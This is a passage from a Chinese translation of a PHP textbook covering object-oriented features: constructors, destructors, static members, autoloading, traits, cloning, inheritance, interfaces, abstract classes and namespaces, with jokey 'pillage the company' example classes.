  • 构造函数可以接受参数,这些参数可以在创建时分配给特定的对象属性。

  • 构造函数可以调用类方法或其他函数。

  • 类构造函数可以调用其他构造函数,包括来自父类的构造函数。

PHP 通过名字__construct识别构造函数(一个双下划线在构造函数关键字前面)。构造函数声明的一般语法如下:

function __construct([argument1, argument2, ..., argumentN])
{
     // Class initialization code
}

例如,假设您想在创建一个新的Book对象时立即设置一本书的 ISBN。通过使用构造函数,可以省去创建对象后执行setIsbn()方法的麻烦。代码可能如下所示:

<?php

    class Book
    {

        private $title;
        private $isbn;
        private $copies;

        function __construct($isbn)
        {
            $this->setIsbn($isbn);
        }

        public function setIsbn($isbn)
        {
            $this->isbn = $isbn;
        }

    }

    $book = new Book("0615303889");

?>

定义了构造函数后,实例化 book 对象会导致构造函数的自动调用,进而调用setIsbn方法。如果您知道每当实例化一个新对象时都应该调用这样的方法,那么通过构造函数自动调用要比自己手动调用好得多。

此外,如果您想确保这些方法只通过构造函数调用,您应该将它们的范围设置为 private,以确保它们不能被对象或子类直接调用。

遗产

正如多次提到的,创建扩展到其他类的类是可能的。这就是通常所说的继承。这意味着新类继承了另一个类的所有属性和方法。

调用父构造函数

PHP 不会自动调用父构造函数;您必须使用parent关键字以及范围解析操作符(::)显式调用它。这不同于调用在使用了->操作符的对象或任何父对象上定义的其他方法。下面是一个例子:

<?php

    class Employee
    {

        protected $name;
        protected $title;

        function __construct()

        {
            echo "Employee constructor called! ";
        }
    }

    class Manager extends Employee
    {
        function __construct()
        {
            parent::__construct();
            echo "Manager constructor called!";
        }
    }

    $employee = new Manager();
?>

这将导致以下结果:

Employee constructor called!Manager constructor called!

忽略对parent::__construct()的调用会导致只调用Manager构造函数,如下所示:

Manager constructor called!

析构函数

正如您可以使用构造函数来定制对象创建过程一样,您也可以使用析构函数来修改对象销毁过程。析构函数像其他方法一样创建,但是必须命名为__destruct()。下面是一个例子:

<?php

    class Book
    {

        private $title;
        private $isbn;
        private $copies;

        function __construct($isbn)
        {
            echo "Book class instance created. ";
        }

        function __destruct()
        {
            echo "Book class instance destroyed.";
        }

    }

    $book = new Book("0615303889");

?>

结果如下:

Book class instance created.Book class instance destroyed.

尽管这个析构函数不是由脚本直接调用的,但是当脚本结束并且 PHP 正在释放对象使用的内存时,它会被调用。

当脚本完成时,PHP 将销毁所有驻留在内存中的对象。因此,如果实例化的类和作为实例化结果创建的任何信息都驻留在内存中,则不需要显式声明析构函数。但是,如果由于实例化而创建了不太稳定的数据(比如说,存储在数据库中),并且应该在对象销毁时销毁,那么就需要创建一个自定义的析构函数。在脚本结束后调用的析构函数(也称为请求关闭)不会以任何特定的顺序调用,如果脚本由于致命错误而终止,析构函数可能不会被调用。

类型提示

类型提示是 PHP 5 中引入的一个特性,在 PHP 7 中被重命名为类型声明。类型声明确保传递给方法的对象确实是预期类的成员或者变量是特定类型的。例如,只有类Employee的对象应该被传递给takeLunchbreak()方法是有意义的。因此,您可以在方法定义的唯一输入参数$employee前面加上Employee,强制执行这条规则。下面是一个例子:

private function takeLunchbreak(Employee $employee)
{
    ...
}

尽管在 PHP 5 中实现的类型声明只适用于对象和数组,但是这个特性后来扩展到了标量类型(PHP 7)和可迭代类型(PHP 7.1)。类型声明特性仅在参数被传递给函数/方法时起作用。可以在函数/方法内部分配其他类型的变量。

静态类成员

有时,创建不被任何特定对象调用,而是与所有类实例相关并被所有类实例共享的属性和方法是很有用的。例如,假设您正在编写一个跟踪网页访问者数量的类。您不希望每次实例化类时访问者计数都重置为零,所以您应该将属性设置为静态范围,如下所示:

<?php

    class Visitor
    {

        private static $visitors = 0;

        function __construct()
        {
            self::$visitors++;
        }

        static function getVisitors()
        {
            return self::$visitors;
        }

    }

    // Instantiate the Visitor class.
    $visits = new Visitor();

    echo Visitor::getVisitors()."<br />";

    // Instantiate another Visitor class.
    $visits2 = new Visitor();

    echo Visitor::getVisitors()."<br />";

?>

结果如下:

1
2

因为$visitors属性被声明为静态的,所以对其值的任何更改(在本例中是通过类构造函数)都会反映到所有实例化的对象中。还要注意,静态属性和方法是通过使用self关键字、sope 解析操作符(::)和类名来引用的,而不是通过$this和箭头操作符。这是因为使用“常规”同级所允许的方法来引用静态属性是不可能的,如果尝试这样做,将会导致语法错误。

注意

你不能在一个类中使用$this来引用一个声明为静态的属性。

关键字 instanceof

关键字instanceof帮助你确定一个对象是一个类的实例,还是一个类的子类,或者实现了一个特定的接口(见第六章),并做相应的事情。例如,假设您想知道$manager是否是从Employee类派生出来的:

$manager = new Employee();
...
if ($manager instanceof Employee) echo "Yes";

请注意,类名没有被任何分隔符(引号)包围。包含它们将导致语法错误。当你同时处理多个对象时,instanceof关键字特别有用。例如,您可能会重复调用一个特定的函数,但希望根据给定类型的对象调整该函数的行为。你可以使用一个case语句和instanceof关键字来以这种方式管理行为。

助手函数

有许多函数可以帮助您管理和使用类库。本节将介绍一些更常用的函数。

确定类是否存在

如果由class_name指定的类存在于当前执行的脚本上下文中,则class_exists()函数返回TRUE,否则返回FALSE。其原型如下:

boolean class_exists(string class_name)

确定对象上下文

get_class()函数返回object所属的类名,如果object不是对象,则返回FALSE。其原型如下:

string get_class(object object)

了解类方法

get_class_methods()函数返回一个数组,其中包含由类class_name定义的方法名(可以通过类名或传入一个对象来标识)。名称列表取决于调用函数的范围。如果从类范围之外调用该函数,该函数将返回在该类或任何父类中定义的所有公共方法的列表。如果在对象的方法内部调用它(作为参数传入$this ),它将返回来自任何父类的公共或受保护方法的列表以及来自类本身的所有方法。其原型如下:

array get_class_methods(mixed class_name)

了解类属性

get_class_vars()函数返回一个关联数组,其中包含所有属性的名称及其在class_name指定的类中定义的相应值。返回的属性名列表遵循与上述方法相同的模式。其原型如下:

array get_class_vars(string class_name)

了解声明的类

函数get_declared_classes()返回一个数组,包含当前正在执行的脚本中定义的所有类的名称,包括 PHP 定义的任何标准类和加载的任何扩展。这个函数的输出会根据 PHP 发行版的配置而有所不同。例如,在测试服务器上执行get_declared_classes()会产生 134 个类的列表。其原型如下:

array get_declared_classes(void)

了解对象属性

函数get_object_vars()返回一个关联数组,其中包含受作用域限制的对象可用的非静态属性及其相应的值。那些没有值的属性将在关联数组中被赋值NULL。其原型如下:

array get_object_vars(object object)
Casting the object to an array or using the print_r() or var_dump() functions will make it possible to see/access private properties and their values.

确定对象的父类

get_parent_class()函数返回对象所属类的父类的名称。如果对象的类是基类,将返回该类名。其原型如下:

string get_parent_class(mixed object)

确定对象类型

如果对象属于class_name类型的类,或者如果它属于class_name的子类,则is_a()函数返回TRUE。如果对象与class_name类型无关,则返回FALSE。其原型如下:

boolean is_a(object object, string class_name)

确定对象子类类型

如果object(可以作为类型字符串或对象传入)属于从class_name继承的类,则is_subclass_of()函数返回TRUE,否则返回FALSE。其原型如下:

boolean is_subclass_of(mixed object, string class_name)

确定方法存在

如果名为method_name的方法对object可用,则method_exists()函数返回TRUE,否则返回FALSE。其原型如下:

boolean method_exists(object object, string method_name)

自动加载对象

出于组织的原因,通常的做法是将每个类放在一个单独的文件中。回到库场景,假设管理应用调用表示书籍、员工、事件和顾客的类。对于这个项目,您可能会创建一个名为classes的目录,并在其中放置以下文件:Books.class.phpEmployees.class.phpEvents.class.phpPatrons.class.php。虽然这确实方便了类管理,但它也要求每个单独的文件对任何需要它的脚本都可用,通常是通过require_once()语句。因此,需要所有四个类的脚本需要在开头插入以下语句:

require_once("classes/Books.class.php");
require_once("classes/Employees.class.php");
require_once("classes/Events.class.php");
require_once("classes/Patrons.class.php");

以这种方式管理类包含可能会变得相当乏味,并且给已经非常复杂的开发过程增加了额外的步骤。为了消除这个额外的任务,PHP 引入了自动加载对象的概念。自动加载允许你定义一个特殊的__autoload函数,当引用一个还没有在脚本中定义的类时,这个函数会被自动调用。通过定义以下函数,可以消除手动包含每个类文件的需要:

function __autoload($class) {
    require_once("classes/$class.class.php");
}

定义这个函数消除了对require_once()语句的需要,因为当一个类第一次被调用时,__autoload()将被调用,根据__autoload()中定义的命令加载该类。这个函数可以放在一个全局应用配置文件中,这意味着脚本只需要使用这个函数。

注意

第三章中介绍了require_once()函数及其兄弟函数。

特征

PHP 5.4 的一个伟大的新增功能是 traits 的实现。

特征是实现代码重用的一种方式,其中多个类实现相同的功能。而不是一遍又一遍地写同样的代码,可以定义为一个 trait,并“包含”在多个类定义中。该实现在编译时以复制和粘贴的方式工作。如果有必要改变实现,可以在一个地方完成,特征的定义,它将在每个使用它的地方生效。

特征的定义方式类似于类,但是使用关键字trait而不是class。它们可以包含属性和方法,但不能实例化为对象。通过语句use <trait name>;可以将一个特征包含在一个类中,通过将每个特征作为逗号分隔的列表添加为use <trait1>, <trait2>,可以在每个类中包含多个特征;。

<?php
trait Log {
    function writeLog($message) {
        file_put_contents("log.txt", $message . "\n", FILE_APPEND);
    }
}
class A {
    function __construct() {
        $this->WriteLog("Constructor A called");
    }
    use Log;
}
class B {
    function __construct() {
        $this->WriteLog("Constructor B called");
    }
    use Log;
}

特征中定义的属性或方法将覆盖从父类和属性继承的同名属性或方法,并且特征中定义的方法可以在使用该特征的类中被覆盖。

使用特征,部分是为了解决 PHP 中存在的单一继承的限制。

摘要

本章介绍了面向对象编程的基础知识,接着概述了 PHP 的基本面向对象特性,特别关注了 PHP 5 版本中的增强和增加。

下一章将详细介绍这些介绍性信息,包括继承、接口、抽象类等主题。

七、高级 OOP 特性

第六章介绍了面向对象编程(OOP)的基础知识。本章通过介绍 PHP 的几个更高级的 OOP 特性建立在这个基础上。具体来说,本章介绍了以下五个功能:

  • 对象克隆: PHP 将所有对象视为引用,可以使用new操作符创建它们。考虑到这一点,如果所有对象都被当作引用,那么如何创建对象的副本呢?通过克隆对象。

  • 继承:正如在第六章中所讨论的,通过继承建立类层次的能力是一个基本的 OOP 概念。这一章介绍了 PHP 的继承特性和语法,并且包括了几个展示这一关键 OOP 特性的例子。

  • 接口:一个接口是一个未实现的方法定义和常量的集合,作为一个类蓝图。接口确切地定义了可以用类做什么,而不会被特定于实现的细节所困扰。本章介绍了 PHP 的接口支持,并提供了几个例子来展示这个强大的 OOP 特性。

  • 抽象类:抽象类是不能实例化的类。抽象类旨在由可以实例化的类继承,更好的说法是一个具体类。抽象类可以完全实现,部分实现,或者根本不实现。本章介绍了抽象类的一般概念,并介绍了 PHP 的类抽象能力。

  • 名称空间:名称空间通过根据上下文划分不同的库和类,帮助您更有效地管理代码库。在这一章中,我将向你介绍 PHP 的名称空间特性。

PHP 不支持的高级 OOP 特性

如果您有其他面向对象语言的经验,您可能会感到困惑,为什么前面的特性列表没有包括其他编程语言支持的某些 OOP 特性。原因很可能是 PHP 不支持这些特性。为了避免您进一步的困惑,下面的列表列举了 PHP 不支持的高级 OOP 特性,因此不在本章中讨论:

  • 方法重载****:PHP 不支持通过方法重载实现多态性的能力,可能永远也不会支持。然而,有可能以类似的方式实现某些功能。这是用魔法方法__set()__get()__call()等完成的。( http://php.net/manual/en/language.oop5.overloading.php )

  • 操作符重载****:PHP 目前不支持根据你试图修改的数据类型给操作符赋予额外含义的能力。根据 PHP 开发人员邮件列表中的讨论和实现的 RFC(https://wiki.php.net/rfc/operator-overloading),它可能有一天会实现。

  • 多重继承 : PHP 不支持多重继承。支持多个接口的实现。和特征提供了一种实现类似功能的方法。

只有时间才能证明这些特性中的任何一个或全部是否会在 PHP 的未来版本中得到支持。

对象克隆

在 PHP 中,对象被视为引用。将一个对象赋给另一个变量只是创建了对同一对象的第二个引用。操作任何属性都会对这两个变量引用的对象产生影响。这使得将对象传递给函数和方法成为可能。但是,因为所有对象都被视为引用而不是值,所以复制对象更加困难。如果你试图复制一个被引用的对象,为了解决复制的问题,PHP 提供了一个明确的方法来克隆一个对象。

让我们首先看一个例子,清单 7-1 ,其中一个对象被赋给第二个变量。

<?php
class Employee {
  private $name;
  function setName($name) {
    $this->name = $name;
  }
  function getName() {
    return $this->name;
  }
}

$emp1 = new Employee();
$emp1->setName('John Smith');
$emp2 = $emp1;
$emp2->setName('Jane Smith');

echo "Employee 1 = {$emp1->getName()}\n";
echo "Employee 2 = {$emp2->getName()}\n";

Listing 7-1Copying an Object

这个例子的输出表明,尽管$emp1$emp2看起来像两个不同的变量,但它们都引用同一个对象。它看起来像这样:

Employee 1 = Jane Smith
Employee 2 = Jane Smith

克隆示例

您可以通过在对象前面加上关键字clone来克隆对象,就像这样:

$destinationObject = clone $targetObject;

清单 7-2 给出了一个对象克隆的例子。这个例子使用了一个名为Employee的示例类,它包含两个属性(employeeidtiecolor)以及这些属性对应的 getters 和 setters。示例代码实例化了一个Employee对象,并将其用作演示克隆操作效果的基础。

<?php
    class Employee {
        private $employeeid;
        private $tiecolor;
        // Define a setter and getter for $employeeid
        function setEmployeeID($employeeid) {
            $this->employeeid = $employeeid;
        }

        function getEmployeeID() {
            return $this->employeeid;
        }

        // Define a setter and getter for $tiecolor
        function setTieColor($tiecolor) {
            $this->tiecolor = $tiecolor;
        }

        function getTieColor() {
            return $this->tiecolor;
        }
    }

    // Create new Employee object
    $employee1 = new Employee();

    // Set the $employee1 employeeid property

    $employee1->setEmployeeID("12345");

    // Set the $employee1 tiecolor property
    $employee1->setTieColor("red");

    // Clone the $employee1 object
    $employee2= clone $employee1;

    // Set the $employee2 employeeid property
    $employee2->setEmployeeID("67890");

    // Output the $employee1and $employee2employeeid properties

   printf("Employee 1 employeeID: %d <br />", $employee1->getEmployeeID());
   printf("Employee 1 tie color: %s <br />", $employee1->getTieColor());

   printf("Employee 2 employeeID: %d <br />", $employee2->getEmployeeID());
   printf("Employee 2 tie color: %s <br />", $employee2->getTieColor());

?>

Listing 7-2Cloning an Object with the clone Keyword

执行此代码会返回以下输出:

Employee1 employeeID: 12345
Employee1 tie color: red
Employee2 employeeID: 67890
Employee2 tie color: red

如您所见,$雇员2变成了类型为Employee的对象,并继承了$employee1的属性值。为了进一步证明$Employee2确实属于类型Employee,它的employeeid属性也被重新分配。

__clone()方法

您可以通过在对象类中定义一个__clone()方法来调整对象的克隆行为。该方法中的任何代码都将直接按照 PHP 的本地克隆行为执行。让我们修改Employee类,添加以下方法:

function __clone() {
   $this->tiecolor = "blue";
}

准备就绪后,让我们创建一个新的Employee对象,添加employeeid属性值,克隆它,然后输出一些数据来表明克隆对象的tiecolor确实是通过__clone()方法设置的。清单 7-3 提供了一个例子。

// Create new Employee object
$employee1 = new Employee();

// Set the $employee1 employeeid property
$employee1->setEmployeeID("12345");

// Clone the $employee1 object
$employee2 = clone $employee1;

// Set the $employee2 employeeid property
$employee2->setEmployeeID("67890");

// Output the $employee1 and $employee2 employeeid properties
printf("Employee1 employeeID: %d <br />", $employee1->getEmployeeID());
printf("Employee1 tie color: %s <br />", $employee1->getTieColor());
printf("Employee2 employeeID: %d <br />", $employee2->getEmployeeID());
printf("Employee2 tie color: %s <br />", $ employee2->getTieColor());

Listing 7-3Extending clone’s Capabilities with the __clone() Method

执行此代码会返回以下输出:

Employee1 employeeID: 12345
Employee1 tie color: red
Employee2 employeeID: 67890
Employee2 tie color: blue

遗产

人们善于根据组织层级进行思考;我们广泛使用这种概念观点来管理我们日常生活的许多方面。公司管理结构,杜威十进制系统,以及我们对动植物王国的看法,只是严重依赖于等级观念的系统的几个例子。因为 OOP 的前提是允许人类对我们试图用代码实现的真实世界环境的属性和行为进行近似建模,所以能够表示这些层次关系是有意义的。

例如,假设您的应用调用了一个名为Employee的类,该类旨在表示一个公司员工可能具有的特征和行为。一些代表特征的类属性可能包括以下内容:

  • name:员工姓名

  • age:员工的年龄

  • salary:员工的工资

  • 员工在公司工作的年数

一些Employee类方法可能包括以下内容:

  • 执行一些与工作相关的任务

  • 午休时间

  • 充分利用这宝贵的两周时间

这些特征和行为与所有类型的员工都相关,无论员工在组织中的目的或地位如何。不过,很明显,员工之间也存在差异;例如,高管可能持有股票期权,能够掠夺公司,而其他员工却享受不到这种奢侈。助理必须会做备忘录,办公室经理需要做供应品清单。尽管有这些差异,如果您必须为所有类共享的那些属性创建和维护冗余的类结构,这将是非常低效的。OOP 开发范式考虑到了这一点,允许您继承现有的类并在其上构建。

类继承

PHP 中的类继承是通过使用extends关键字来完成的。清单 7-4 展示了这种能力,首先创建一个Employee类,然后创建一个从Employee继承的Executive类。

注意

从另一个类继承的类被称为子类,或者子类。子类继承的类被称为父类,或者基类

<?php
   // Define a base Employee class
   class Employee {

      private $name;

      // Define a setter for the private $name property.
      function setName($name) {
         if ($name == "") echo "Name cannot be blank!";
         else $this->name = $name;
      }

      // Define a getter for the private $name property

      function getName() {
         return "My name is ".$this->name."<br />";
      }
   } // end Employee class

   // Define an Executive class that inherits from Employee

   class Executive extends Employee {

      // Define a method unique to Employee
      function pillageCompany() {
         echo "I'm selling company assets to finance my yacht!";
      }

   } // end Executive class

   // Create a new Executive object
   $exec = new Executive();

   // Call the setName() method, defined in the Employee class
   $exec->setName("Richard");

   // Call the getName() method
   echo $exec->getName();

   // Call the pillageCompany() method
   $exec->pillageCompany();
?> 

Listing 7-4Inheriting from a Base Class

这将返回以下内容:

My name is Richard.
I'm selling company assets to finance my yacht!

因为所有的雇员都有名字,Executive类继承自Employee类,省去了重新创建name属性以及相应的 getter 和 setter 的麻烦。然后,您可以只关注那些特定于高管的特征,在本例中是一个名为pillageCompany()的方法。这个方法只适用于类型为Executive的对象,而不适用于Employee类或任何其他类——除非你创建一个从Executive继承的类。下面的例子演示了这个概念,产生了一个名为CEO的类,它继承自Executive:

<?php

class Employee {
 private $name;
 private $salary; 

 function setName($name) {
   $this->name = $name;
 }

 function setSalary($salary) {
   $this->salary = $salary;
 }

 function getSalary() {
   return $this->salary;
 }
}

class Executive extends Employee {
 function pillageCompany() {
   $this->setSalary($this->getSalary() * 10);
 }
}

class CEO extends Executive {
  function getFacelift() {
     echo "nip nip tuck tuck\n";
  }
}

$ceo = new CEO();
$ceo->setName("Bernie");
$ceo->setSalary(100000);
$ceo->pillageCompany();
$ceo->getFacelift();
echo "Bernie's Salary is: {$ceo->getSalary()}\n";
?>

Listing 7-5Inheritance

输出将如下所示:

nip nip tuck tuck
Bernie's Salary is: 1000000

因为ExecutiveEmployee继承而来,CEO类型的对象拥有Executive可用的所有属性和方法,此外还有getFacelift()方法,该方法只保留给CEO类型的对象。

继承和构造函数

与类继承相关的一个常见问题与构造函数的使用有关。当一个孩子被实例化时,一个父类构造函数会执行吗?如果有,如果子类也有自己的构造函数会怎么样?它是在父构造函数之外执行,还是覆盖父构造函数?此类问题将在本节中回答。

如果父类提供了构造函数,只要子类没有构造函数,它就会在子类实例化时执行。例如,假设Employee类提供了这个构造函数:

function __construct($name) {
    $this->setName($name);
}

然后实例化CEO类并检索name属性:

$ceo = new CEO("Dennis");
echo $ceo->getName();

它将产生以下结果:

My name is Dennis

但是,如果子类也有构造函数,那么无论父类是否也有构造函数,该构造函数都会在子类被实例化时执行。例如,假设除了包含前面描述的构造函数的Employee类之外,CEO类还包含这个构造函数:

function __construct() {
    echo "<p>CEO object created!</p>";
}

然后实例化CEO类:

$ceo = new CEO("Dennis");
echo $ceo->getName();

这次它将产生以下输出,因为CEO构造函数覆盖了Employee构造函数:

CEO object created!
My name is

当需要检索name属性时,您会发现它是空白的,因为在Employee构造函数中执行的setName()方法从未触发。当然,你可能想让那些父构造函数也触发。不要害怕,因为有一个简单的解决办法。像这样修改CEO构造函数:

function __construct($name) {
    parent::__construct($name);
    echo "<p>CEO object created!</p>";
}

同样,实例化CEO类并以与之前相同的方式执行getName(),这一次您将看到不同的结果:

CEO object created!
My name is Dennis

你应该明白,当遇到parent::__construct()时,PHP 开始向上搜索父类,寻找合适的构造函数。因为在Executive中没有找到,所以继续搜索到Employee类,在这一点上找到了合适的构造函数。如果 PHP 在Employee类中找到了一个构造函数,那么它就会被触发。如果您想让EmployeeExecutive构造函数都触发,您需要调用Executive构造函数中的parent::__construct()

您还可以选择以另一种方式引用父构造函数。例如,假设当创建一个新的CEO对象时,EmployeeExecutive构造函数都应该执行。这些构造函数可以在CEO构造函数中显式引用,如下所示:

function __construct($name) {
    Employee::__construct($name);
    Executive::__construct();
    echo "<p>CEO object created!</p>";
}

继承和后期静态绑定

创建类层次结构时,您偶尔会遇到这样的情况:父方法会与可能在子类中被覆盖的静态类属性进行交互。这与关键字self的使用有关。让我们考虑一个涉及修改后的EmployeeExecutive类的例子:

<?php

class Employee {

  public static $favSport = "Football";

  public static function watchTV()
  {
    echo "Watching ".self::$favSport;
  }

}

class Executive extends Employee {
  public static $favSport = "Polo";
}
echo Executive::watchTV();

?>

Listing 7-6Late Static Binding

因为Executive类继承了Employee中的方法,所以人们会认为这个例子的输出是Watching Polo,对吗?实际上,这不会发生,因为self关键字是在编译时而不是运行时确定其范围的。因此,这个例子的输出将总是Watching Football。PHP 解决了这个问题,当您实际上想要在运行时确定静态属性的范围时,可以重新使用static关键字。为此,您可以像这样重写watchTV()方法:

  public static function watchTV()
  {
    echo "Watching ".static::$favSport;
  }

接口

一个接口定义了一个实现特定服务的通用规范,声明了所需的函数和常数,但没有具体说明必须如何实现。没有提供实现细节,因为不同的实体可能需要以不同的方式实现发布的方法定义。接口的本质要求所有接口方法都是公共的。

要点是建立一套通用的指导原则,为了使接口被认为是已实现的,必须执行这些原则。

警告

类属性没有在接口中定义。这是完全留给实现类的事情。

以掠夺一家公司的概念为例。这项任务可以通过多种方式完成,这取决于谁在做脏活。例如,一个典型的员工可能会使用办公室信用卡购买鞋子和电影票,将购买的物品记为“办公室费用”,而一名高管可能会要求他的助理通过在线会计系统将资金重新分配到瑞士银行账户。这两个雇员都想抢劫,但每个人都以不同的方式去做。在这种情况下,该接口的目标是定义一套掠夺公司的准则,然后要求各个类相应地实现该接口。例如,接口可能只包含两个方法:

emptyBankAccount()

burnDocuments()

然后您可以要求EmployeeExecutive类实现这些特性。在本节中,您将了解这是如何实现的。然而,首先花点时间来理解 PHP 5 是如何实现接口的。在 PHP 中,接口是这样创建的:

interface iMyInterface
{
    CONST 1;
    ...
    CONST N;
    function methodName1();
    ...
    function methodNameN();
}

小费

通常的做法是用小写字母i作为接口名称的前缀,以便于识别。

接口是方法定义(名称和参数列表)的集合,当一个类实现一个或多个接口时,它被用作一种契约形式。当类通过 implements 关键字实现接口时,契约就完成了。所有方法必须用接口中定义的相同签名实现,或者实现类必须声明为抽象(下一节介绍的概念);否则,将会出现类似下面的错误:

Fatal error: Class Executive contains 1 abstract methods and must

therefore be declared abstract (pillageCompany::emptyBankAccount) in
/www/htdocs/pmnp/7/executive.php on line 30

下面是实现上述接口的一般语法:

class Class_Name implements iMyInterface
{
    function methodName1()
    {
        // methodName1() implementation
    }

    function methodNameN()
    {
        // methodNameN() implementation
    }
}

实现单一接口

本节通过创建和实现一个名为iPillage的接口来展示 PHP 接口实现的一个工作示例,该接口用于掠夺公司:

interface iPillage
{
    function emptyBankAccount();
    function burnDocuments();
}

然后这个接口被实现以供Executive类使用:

class Executive extends Employee implements iPillage
{
    private $totalStockOptions;
    function emptyBankAccount()
    {
        echo "Call CFO and ask to transfer funds to Swiss bank account.";
    }

    function burnDocuments()
    {
        echo "Torch the office suite."; 

    }
}

因为掠夺应该在公司的各个层面进行,所以你可以通过Assistant类实现同一个接口:

class Assistant extends Employee implements iPillage
{
    function takeMemo() {
        echo "Taking memo...";
    }

    function emptyBankAccount()
    {
        echo "Go on shopping spree with office credit card.";
    }

    function burnDocuments()
    {
        echo "Start small fire in the trash can.";
    }
}

如您所见,接口特别有用,因为尽管它们定义了一些行为发生所需的方法和参数的数量和名称,但它们承认不同的类可能需要不同的方法来实现这些方法。在这个例子中,Assistant类通过在垃圾桶中放火焚烧文档,而Executive类则通过更激进的方式(放火焚烧主管的办公室)来焚烧文档。

实现多个接口

当然,允许外部承包商掠夺公司是不公平的;毕竟,这个组织是在全职员工的支持下建立起来的。也就是说,你如何让员工既能完成自己的工作,又能掠夺公司,同时又能限制承包商只完成要求他们完成的任务?解决方案是将这些任务分解成几个任务,然后根据需要实现多个接口。考虑这个例子:

<?php
    interface iEmployee {...}
    interface iDeveloper {...}
    interface iPillage {...}
    class Employee implements IEmployee, IDeveloper, iPillage {
    ...
    }

    class Contractor implements iEmployee, iDeveloper {
    ...
    }
?>

如您所见,所有三个界面(iEmployeeiDeveloperiPillage)都可供雇员使用,而只有iEmployeeiDeveloper可供承包商使用。

确定接口是否存在

interface_exists()函数确定一个接口是否存在,如果存在则返回TRUE,否则返回FALSE。其原型如下:

boolean interface_exists(string interface_name [, boolean autoload])

抽象类

抽象类是实际上不应该被实例化的类,而是作为基类被其他类继承。例如,考虑一个名为Media的类,旨在体现各种类型的出版材料(如报纸、书籍和 CD)的共同特征。因为Media类不代表现实生活中的实体,而是一系列相似实体的一般化表示,所以您永远不会想要直接实例化它。为了确保这不会发生,这个类被认为是抽象的。然后,各种派生的Media类继承这个抽象类,确保子类之间的一致性,因为抽象类中定义的所有方法都必须在子类中实现。

一个类通过在定义前加上抽象这个词来声明抽象,就像这样:

abstract class Media
{
  private $title;
  function setTitle($title) {
    $this->title = $title;
  }
  abstract function setDescription($description)
}

class Newspaper extends Media
{
  function setDescription($description) {
  }

  function setSubscribers($subscribers) {
  }
}

class CD extends Media
{
  function setDescription($description) {
  }

  function setCopiesSold($subscribers) {
  }
}

尝试实例化抽象类会导致以下错误信息:

Fatal error: Cannot instantiate abstract class Employee in
/www/book/chapter07/class.inc.php.

抽象类确保一致性,因为从它们派生的任何类都必须实现该类中派生的所有抽象方法。试图放弃类中定义的任何抽象方法的实现会导致致命错误。

抽象类还是接口?

什么时候应该使用接口而不是抽象类,反之亦然?这可能会非常令人困惑,而且经常是一个争论不休的问题。但是,有几个因素可以帮助您做出这方面的决定:

  • 如果您打算创建一个由许多密切相关的对象构成的模型,请使用抽象类。如果你打算创建一个功能,这个功能随后会被许多不相关的对象所包含,那么使用一个接口。

  • 如果您的对象必须从许多来源继承行为,请使用接口。PHP 类可以实现多个接口,但只能扩展单个(抽象)类。

  • 如果你知道所有的类将共享一个公共的行为实现,那么使用一个抽象类并在那里实现行为。您不能在接口中实现行为。

  • 如果多个类共享完全相同的代码,使用 traits。

名称空间简介

随着您继续创建类库以及使用由其他开发人员创建的第三方类库,您将不可避免地遇到两个库使用相同类名的情况,从而产生意外的应用结果。

为了说明这一挑战,假设你已经创建了一个网站,帮助你组织你的藏书,并允许访问者对你个人库中的任何书籍发表评论。为了管理这些数据,您创建了一个名为Library.inc.php的库,并在其中创建了一个名为Clean的类。这个类实现了多种通用的数据过滤器,您不仅可以将这些过滤器应用于与书籍相关的数据,还可以应用于用户评论。下面是这个类的一个片段,包括一个名为filterTitle()的方法,可以用来清理书名和用户评论:

class Clean {

    function filterTitle($text) {
        // Trim white space and capitalize first word
        return ucfirst(trim($text));
    }

}

因为这是一个 G 级网站,您还希望通过一个亵渎过滤器传递所有用户提供的数据。网上搜索发现了一个名为DataCleaner.inc.php的 PHP 类库,其中有一个名为Clean的类。这个类包括一个名为RemoveProfanity()的函数,它负责用可接受的替代词替换不良词汇。该类如下所示:

class Clean {

    function removeProfanity($text) {
        $badwords = array("idiotic" => "shortsighted",
                          "moronic" => "unreasonable",
                          "insane" => "illogical");

        // Replace bad words
        return strtr($text, $badwords); 

    }

}

急于开始使用脏话过滤器,您在相关脚本的顶部包含了DataCleaner.inc.php文件,后面是对Library.inc.php库的引用:

require "DataCleaner.inc.php";
require "Library.inc.php";

然后,您进行一些修改以利用亵渎过滤器,但是在将应用加载到浏览器中时,您会看到以下致命错误消息:

Fatal error: Cannot redeclare class Clean

您收到这个错误是因为不可能在同一个脚本中使用两个同名的类。这类似于一个文件系统,一个目录中不能有两个同名的文件,但是它们可以存在于两个不同的目录中。

有一种简单的方法可以解决这个问题,那就是使用名称空间。您需要做的就是给每个类分配一个名称空间。为此,您需要对每个文件进行一次修改。打开Library.inc.php并将这条线放在顶部:

namespace Library;

同样,打开DataCleaner.inc.php,将下面一行放在顶部:

namespace DataCleaner;

namespace 语句必须是文件中的第一条语句。

然后您可以开始使用各自的Clean类,而不用担心名称冲突。为此,通过在每个类前面加上命名空间来实例化每个类,如下例所示:

<?php
    require "Library.inc.php";
    require "Data.inc.php";

    use Library;
    use DataCleaner;

    // Instantiate the Library's Clean class

    $filter = new Library\Clean();

    // Instantiate the DataCleaner's Clean class
    $profanity = new DataCleaner\Clean();

    // Create a book title
    $title = "the idiotic sun also rises";

    // Output the title before filtering occurs
    printf("Title before filters: %s <br />", $title);

    // Remove profanity from the title
    $title = $profanity->removeProfanity($title);

    printf("Title after Library\Clean: %s <br />", $title);

    // Remove white space and capitalize title
    $title = $filter->filterTitle($title);

    printf("Title after DataCleaner\Clean: %s <br />", $title);

?>

执行该脚本会产生以下输出:

Title before filters: the idiotic sun also rises
Title after DataCleaner\Clean: the shortsighted sun also rises
Title after Library\Clean: The Shortsighted Sun Also Rises

名称空间可以定义为子名称空间的层次结构。这是通过添加更多由名称空间分隔符(反斜杠)分隔的名称来实现的。如果同一个包或供应商提供了一个类、函数或常数的多个版本,或者提供了多个具有您想要组合在一起的功能的类,这将非常有用。

例如,下面是 Amazon Web Services (AWS) SDK 提供的名称空间列表:

namespace Aws\S3;
namespace Aws\S3\Command;
namespace Aws\S3\Enum;
namespace Aws\S3\Exception;
namespace Aws\S3\Exception\Parser;
namespace Aws\S3\Iterator;
namespace Aws\S3\Model;
namespace Aws\S3\Model\MultipartUpload;
namespace Aws\S3\Sync; 

SDK 包含许多其他名称空间,用于所提供的各种服务。这些例子中的名字都不太长,只使用了两三个层次。在某些情况下,您可能希望为您的命名空间指定一个较短的名称。这将需要更少的输入,并使代码更具可读性。这是通过为名称空间提供别名来实现的。一个简短的例子可以很好地说明这一点。

<php
use Aws\S3\Command;
$cmd = new Aws\S3\Command\S3Command();

